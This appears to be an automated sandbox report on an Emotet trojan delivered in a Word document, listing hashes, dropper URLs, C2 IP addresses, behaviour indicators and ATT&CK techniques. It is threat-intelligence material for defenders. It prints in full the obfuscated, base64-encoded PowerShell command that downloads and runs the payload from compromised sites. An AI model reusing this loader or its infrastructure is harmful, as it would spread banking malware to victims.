emotet | e1a5967a00ab672740cd0427e38e76bd3368a4c53bc5a79d708fd2eb680f9cfa

General

Target

KAR9WHL9B-20200916.doc
Size

160KB
MD5

44e7488aaaf0847e54ef9615a371ff50
SHA1

e0e21d0350db6cdbd6a76288b2cb3b03421e8fa1
SHA256

e1a5967a00ab672740cd0427e38e76bd3368a4c53bc5a79d708fd2eb680f9cfa
SHA512

9b180b5735c7febaa001fbaca977ae50692ace593f48fe61e3e0c69574e919d5c1f0f10112d14a452e4afc368cca6ae3955ec76b94ac6815a0c68ebfc62dec81

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://templatejson.com/awrrn/Kw10uo/

exe.dropper

https://hosting.mybestheme.com/aikjj0q/8/

exe.dropper

https://tastes2plate.com/wp-content/uploads/6/

exe.dropper

http://madeirawildlife.com/wp-admin/zuWZW/

exe.dropper

http://senyumdesa.org/wp-admin/aC4/

exe.dropper

https://ibuyoldwebsites.com/modules/QVtEr7/

exe.dropper

http://blog.zunapro.com/wp-admin/js/widgets/EH4agl/

Extracted

Family

emotet

C2

74.219.172.26:80

134.209.36.254:8080

104.156.59.7:8080

120.138.30.150:8080

194.187.133.160:443

104.236.246.93:8080

74.208.45.104:8080

78.187.156.31:80

187.161.206.24:80

94.23.216.33:80

172.91.208.86:80

91.211.88.52:7080

50.91.114.38:80

200.123.150.89:443

121.124.124.40:7080

62.75.141.82:80

5.196.74.210:8080

24.137.76.62:80

85.105.205.77:8080

139.130.242.43:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3136	3564	powershell.exe

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral2/memory/1508-13-0x0000000000700000-0x0000000000712000-memory.dmp	emotet
behavioral2/memory/1508-13-0x0000000000700000-0x0000000000712000-memory.dmp	emotet
behavioral2/memory/1508-14-0x0000000000720000-0x0000000000730000-memory.dmp	emotet
behavioral2/memory/1508-14-0x0000000000720000-0x0000000000730000-memory.dmp	emotet
behavioral2/memory/2236-17-0x00000000004A0000-0x00000000004B2000-memory.dmp	emotet
behavioral2/memory/2236-17-0x00000000004A0000-0x00000000004B2000-memory.dmp	emotet
behavioral2/memory/2236-18-0x00000000004C0000-0x00000000004D0000-memory.dmp	emotet
behavioral2/memory/2236-18-0x00000000004C0000-0x00000000004D0000-memory.dmp	emotet

Blacklisted process makes network request 7 IoCs

Processes:

powershell.exe

flow	pid	process
12	3136	powershell.exe
14	3136	powershell.exe
18	3136	powershell.exe
24	3136	powershell.exe
28	3136	powershell.exe
29	3136	powershell.exe
31	3136	powershell.exe

Executes dropped EXE 2 IoCs

Processes:

J_eilb.exeKBDARME.exe

pid process

1508 J_eilb.exe
2236 KBDARME.exe
Drops file in System32 directory 1 IoCs

Processes:

J_eilb.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\mavinject\KBDARME.exe J_eilb.exe

pid	process
1508	J_eilb.exe
2236	KBDARME.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\mavinject\KBDARME.exe	J_eilb.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

808 WINWORD.EXE
808 WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 23 IoCs

Processes:

powershell.exeKBDARME.exe

pid	process
3136	powershell.exe
3136	powershell.exe
3136	powershell.exe
2236	KBDARME.exe
2236	KBDARME.exe
2236	KBDARME.exe
2236	KBDARME.exe
2236	KBDARME.exe
2236	KBDARME.exe
2236	KBDARME.exe
2236	KBDARME.exe
2236	KBDARME.exe
2236	KBDARME.exe
2236	KBDARME.exe
2236	KBDARME.exe
2236	KBDARME.exe
2236	KBDARME.exe
2236	KBDARME.exe
2236	KBDARME.exe
2236	KBDARME.exe
2236	KBDARME.exe
2236	KBDARME.exe
2236	KBDARME.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3136 powershell.exe

description	pid	process
Token: SeDebugPrivilege	3136	powershell.exe

Suspicious use of SetWindowsHookEx 15 IoCs

Processes:

WINWORD.EXEJ_eilb.exeKBDARME.exe

pid	process
808	WINWORD.EXE
808	WINWORD.EXE
808	WINWORD.EXE
808	WINWORD.EXE
808	WINWORD.EXE
808	WINWORD.EXE
808	WINWORD.EXE
808	WINWORD.EXE
808	WINWORD.EXE
808	WINWORD.EXE
808	WINWORD.EXE
1508	J_eilb.exe
1508	J_eilb.exe
2236	KBDARME.exe
2236	KBDARME.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

powershell.exeJ_eilb.exe

description	pid	process	target process
PID 3136 wrote to memory of 1508	3136	powershell.exe	J_eilb.exe
PID 3136 wrote to memory of 1508	3136	powershell.exe	J_eilb.exe
PID 3136 wrote to memory of 1508	3136	powershell.exe	J_eilb.exe
PID 1508 wrote to memory of 2236	1508	J_eilb.exe	KBDARME.exe
PID 1508 wrote to memory of 2236	1508	J_eilb.exe	KBDARME.exe
PID 1508 wrote to memory of 2236	1508	J_eilb.exe	KBDARME.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\KAR9WHL9B-20200916.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:808

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABJAHEAYQBqAG0AcAB5AD0AKAAoACcAVgAnACsAJwBiAHkAdgAnACkAKwAnAHgAJwArACcAagB6ACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAGUAcgBQAHIAbwBmAEkATABlAFwAZABJAGEAUgA4AGgANwBcAG8AZgBmADEARgBFAFkAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBjAHQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAHUAYABSAGAASQB0AFkAYABwAFIATwBgAFQAbwBjAG8ATAAiACAAPQAgACgAJwB0AGwAJwArACcAcwAxACcAKwAoACcAMgAsACAAdABsAHMAMQAnACsAJwAxACcAKwAnACwAJwApACsAKAAnACAAdABsACcAKwAnAHMAJwApACkAOwAkAEsAdwBwAHYANwBhAHoAIAA9ACAAKAAnAEoAJwArACcAXwBlACcAKwAoACcAaQBsACcAKwAnAGIAJwApACkAOwAkAEEAdAB4ADMAcQBlAGYAPQAoACcASAA5ACcAKwAnAGgAagAnACsAKAAnAHEAJwArACcAYQBxACcAKQApADsAJABGAHAAegBtAHYAagA2AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHEAJwArACgAJwBJACcAKwAnAEwARABpAGEAJwApACsAJwByADgAJwArACgAJwBoADcAJwArACcAcQAnACkAKwAoACcASQBMAE8AZgAnACsAJwBmACcAKwAnADEAZgBlACcAKwAnAHkAcQBJAEwAJwApACkALgAiAHIAYABFAFAAYABMAEEAYwBFACIAKAAoAFsAQwBoAEEAcgBdADEAMQAzACsAWwBDAGgAQQByAF0ANwAzACsAWwBDAGgAQQByAF0ANwA2ACkALAAnAFwAJwApACkAKwAkAEsAdwBwAHYANwBhAHoAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABTAHUAcAB4ADYAdQBrAD0AKAAoACcASABxACcAKwAnADgAbgBnACcAKwAnAF8AJwApACsAJwBwACcAKQA7ACQATgA1ADgAaQB5AGEAMgA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBlAHQALgB3AGUAYgBjAEwASQBFAE4AdAA7ACQAVgB6ADAAYgBnAGMANgA9ACgAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAJwApACsAJwBzACcAKwAoACcAOgAvACcAKwAnAC8AdABlACcAKQArACgAJwBtAHAAbABhAHQAJwArACcAZQAnACsAJwBqACcAKwAnAHMAbwBuAC4AYwAnACkAKwAnAG8AbQAnACsAKAAnAC8AYQB3AHIAcgAnACsAJwBuAC8ASwB3ADEAJwArACcAMAB1ACcAKwAnAG8AJwArACcALwAqAGgAdAAnACkAKwAnAHQAJwArACgAJwBwAHMAOgAnACsAJwAvAC8AaAAnACkAKwAoACcAbwAnACsAJwBzAHQAaQBuAGcAJwApACsAKAAnAC4AbQB5ACcAKwAnAGIAJwApACsAJwBlACcAKwAnAHMAJwArACcAdAAnACsAKAAnAGgAJwArACcAZQBtACcAKQArACgAJwBlAC4AYwBvAG0AJwArACcALwBhAGkAJwArACcAawBqAGoAJwApACsAKAAnADAAJwArACcAcQAvADgALwAnACkAKwAnACoAJwArACcAaAB0ACcAKwAoACcAdABwAHMAOgAnACsAJwAvACcAKQArACcALwB0ACcAKwAoACcAYQBzAHQAZQAnACsAJwBzACcAKQArACgAJwAyAHAAJwArACcAbABhAHQAZQAnACkAKwAoACcALgBjAG8AJwArACcAbQAvAHcAcAAtAGMAJwApACsAKAAnAG8AJwArACcAbgB0AGUAJwApACsAJwBuAHQAJwArACgAJwAvAHUAJwArACcAcAAnACkAKwAoACcAbABvACcAKwAnAGEAJwApACsAKAAnAGQAJwArACcAcwAvADYAJwArACcALwAqAGgAdAB0ACcAKQArACcAcAA6ACcAKwAnAC8ALwAnACsAJwBtACcAKwAoACcAYQBkACcAKwAnAGUAJwApACsAKAAnAGkAcgAnACsAJwBhACcAKQArACcAdwAnACsAKAAnAGkAJwArACcAbABkAGwAJwApACsAJwBpACcAKwAnAGYAJwArACcAZQAnACsAKAAnAC4AJwArACcAYwBvACcAKQArACgAJwBtAC8AdwBwACcAKwAnAC0AJwApACsAJwBhACcAKwAoACcAZABtAGkAJwArACcAbgAvAHoAdQAnACkAKwAoACcAVwAnACsAJwBaAFcALwAnACkAKwAnACoAaAAnACsAKAAnAHQAJwArACcAdABwACcAKQArACcAOgAvACcAKwAnAC8AcwAnACsAKAAnAGUAbgAnACsAJwB5ACcAKQArACcAdQAnACsAJwBtACcAKwAoACcAZABlAHMAYQAnACsAJwAuACcAKwAnAG8AJwApACsAJwByACcAKwAoACcAZwAvAHcAcAAnACsAJwAtAGEAJwArACcAZABtACcAKQArACgAJwBpACcAKwAnAG4ALwAnACkAKwAoACcAYQAnACsAJwBDADQALwAqACcAKQArACgAJwBoACcAKwAnAHQAdABwAHMAJwApACsAJwA6AC8AJwArACgAJwAvAGkAYgB1ACcAKwAnAHkAbwAnACkAKwAoACcAbABkACcAKwAnAHcAZQAnACkAKwAoACcAYgBzAGkAJwArACcAdABlAHMAJwApACsAJwAuACcAKwAnAGMAJwArACgAJwBvACcAKwAnAG0ALwBtAG8AZAAnACsAJwB1AGwAJwApACsAKAAnAGUAcwAvACcAKwAnAFEAJwApACsAKAAnAFYAJwArACcAdABFACcAKQArACcAcgAnACsAKAAnADcALwAnACsAJwAqACcAKQArACgAJwBoAHQAJwArACcAdABwACcAKQArACgAJwA6AC8ALwAnACsAJwBiAGwAJwApACsAKAAnAG8AZwAnACsAJwAuAHoAdQAnACsAJwBuAGEAcAByAG8ALgBjACcAKQArACgAJwBvAG0ALwAnACsAJwB3AHAAJwApACsAJwAtACcAKwAnAGEAZAAnACsAKAAnAG0AJwArACcAaQBuAC8AJwApACsAJwBqAHMAJwArACgAJwAvACcAKwAnAHcAaQBkACcAKQArACgAJwBnAGUAJwArACcAdABzAC8ARQBIACcAKQArACgAJwA0AGEAJwArACcAZwBsACcAKQArACcALwAnACkALgAiAFMAYABwAGwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASAA2AF8AMQAxAHgAaAA9ACgAKAAnAFMAagBuAHgAcQAnACsAJwBfACcAKQArACcAagAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABIAGMAZABqAHEAbAB0ACAAaQBuACAAJABWAHoAMABiAGcAYwA2ACkAewB0AHIAeQB7ACQATgA1ADgAaQB5AGEAMgAuACIAZABvAGAAdwBOAEwAYABvAEEARABGAGAASQBMAEUAIgAoACQASABjAGQAagBxAGwAdAAsACAAJABGAHAAegBtAHYAagA2ACkAOwAkAFgAaQBvAHoANwBwADEAPQAoACcARwAnACsAJwBoACcAKwAoACcAcQBhAGgAJwArACcAMwB3ACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEYAcAB6AG0AdgBqADYAKQAuACIAbABFAG4AZwBgAFQAaAAiACAALQBnAGUAIAAyADUANwA0ADcAKQAgAHsAJgAoACcASQBuAHYAbwBrAGUALQBJACcAKwAnAHQAJwArACcAZQAnACsAJwBtACcAKQAoACQARgBwAHoAbQB2AGoANgApADsAJABIAF8AdgBhADIAYgBjAD0AKAAoACcAWgAnACsAJwA5AHcAJwApACsAKAAnAGcAeQAnACsAJwBfAGwAJwApACkAOwBiAHIAZQBhAGsAOwAkAFIAcgAwAHYAMgBhADYAPQAoACgAJwBOACcAKwAnAHIAcwAnACkAKwAoACcAZwAnACsAJwBoAGoAOQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQwBlAGUAXwB6AGgAZwA9ACgAJwBJACcAKwAoACcAbQA5ACcAKwAnAHMAJwApACsAKAAnAGUAawAnACsAJwB2ACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3136
- C:\Users\Admin\Diar8h7\Off1fey\J_eilb.exe
  "C:\Users\Admin\Diar8h7\Off1fey\J_eilb.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1508
- - C:\Windows\SysWOW64\mavinject\KBDARME.exe
    "C:\Windows\SysWOW64\mavinject\KBDARME.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2236

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\Diar8h7\Off1fey\J_eilb.exe

Download Submit
C:\Users\Admin\dIaR8h7\off1FEY\J_eilb.exe

Download Submit
C:\Windows\SysWOW64\mavinject\KBDARME.exe

Download Submit
memory/808-0-0x00007FF9CF7A0000-0x00007FF9CFE66000-memory.dmp

Filesize
6.8MB

Download
memory/1508-13-0x0000000000700000-0x0000000000712000-memory.dmp

Filesize
72KB

Download
memory/1508-14-0x0000000000720000-0x0000000000730000-memory.dmp

Filesize
64KB

Download
memory/1508-10-0x0000000000000000-mapping.dmp

Download
memory/2236-15-0x0000000000000000-mapping.dmp

Download
memory/2236-17-0x00000000004A0000-0x00000000004B2000-memory.dmp

Filesize
72KB

Download
memory/2236-18-0x00000000004C0000-0x00000000004D0000-memory.dmp

Filesize
64KB

Download
memory/3136-9-0x000001661A770000-0x000001661A771000-memory.dmp

Filesize
4KB

Download
memory/3136-8-0x000001661A4B0000-0x000001661A4B1000-memory.dmp

Filesize
4KB

Download
memory/3136-7-0x00007FF9C0AA0000-0x00007FF9C148C000-memory.dmp

Filesize
9.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads